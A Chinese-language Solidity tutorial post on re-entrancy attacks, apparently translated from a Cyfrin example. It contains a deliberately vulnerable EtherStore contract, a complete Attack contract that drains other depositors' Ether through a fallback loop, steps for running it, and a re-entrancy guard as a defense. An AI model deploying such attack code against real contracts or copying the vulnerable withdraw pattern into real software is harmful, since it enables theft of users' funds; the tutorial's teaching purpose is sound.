3分钟Solidity: 11.1 重入攻击

欢迎订阅专栏 :3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的"Re-Entrancy(代码示例)"

漏洞

假设合约 A调用了合约 B。

重入攻击允许 B在 A完成执行之前回调 A。

scss 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   
EtherStore是一个可以存入和提取ETH的合约。

该合约容易受到重入攻击。

让我们看看原因。

1.  部署EtherStore

2.  从账户1(Alice)和账户2(Bob)各存入1个以太币到EtherStore

3.  部署Attack合约,传入EtherStore的地址

4.  调用Attack.attack并发送1个以太币(使用账户3(Eve))。

    你将收回3个以太币(从Alice和Bob那里窃取的2个以太币,

    加上这个合约发送的1个以太币)。

发生了什么?

攻击者能够在EtherStore.withdraw执行完成前多次调用它。

以下是函数调用的顺序:

-   Attack.attack
-   EtherStore.deposit
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
-   EtherStore.withdraw
-   Attack的fallback函数(收到1个以太币)
*/

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 当EtherStore向该合约发送以太币时,会调用回退函数。
    fallback() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // 用于检查该合约余额的辅助函数
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

预防技术

  • 确保所有状态变更在调用外部合约之前完成
  • 使用防止重入的函数修饰符

以下是一个重入防护的示例

ini 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Remix Lite 尝试一下

相关推荐
木西21 小时前
AI 驱动的去中心化资产管理:QuantixAI 核心金库与智能风控架构解析
web3·智能合约·solidity
m0_547486662 天前
《Web开发技术基础》全套PPT课件2026
web3·web开发
徐征6394 天前
邮件安全防护体系技术拆解:从入口过滤到大模型研判的检测流水线 北京方向标
web3·生活
米小虾4 天前
币安 63 亿美元被盗:被攻破的不是私钥,是那台负责签名的机器
黑客·web3
磐链科技5 天前
智能合约系统:去中心化世界的可信执行基础设施
去中心化·区块链·智能合约
OxYGC6 天前
[Web3] 的⛽ Gas 革命:五大协议群组如何终结“Gas 痛点
web3·1024程序员节·layer2·gas·erc-4337
OxYGC6 天前
[Web3] 去中心化基石 - BIP铁三角(BIP32/39/44)
web3·1024程序员节·钱包·bip32·bip44
磐链科技6 天前
IM聊天Web3钱包定制开发指南:从业务场景梳理、系统功能规划到产品迭代与生态扩展
web3
limit00758 天前
三维 WebGIS 工具选型:加载、样式、分析、交付,一套界面能做完什么
android·前端·web3·安卓·webgl
木西8 天前
dAppOS 意图执行网络核心技术剖析:从智能账户、生息资产金库到 OMS 乐观质押仲裁的 Solidity 0.8.28 实现
web3·智能合约·solidity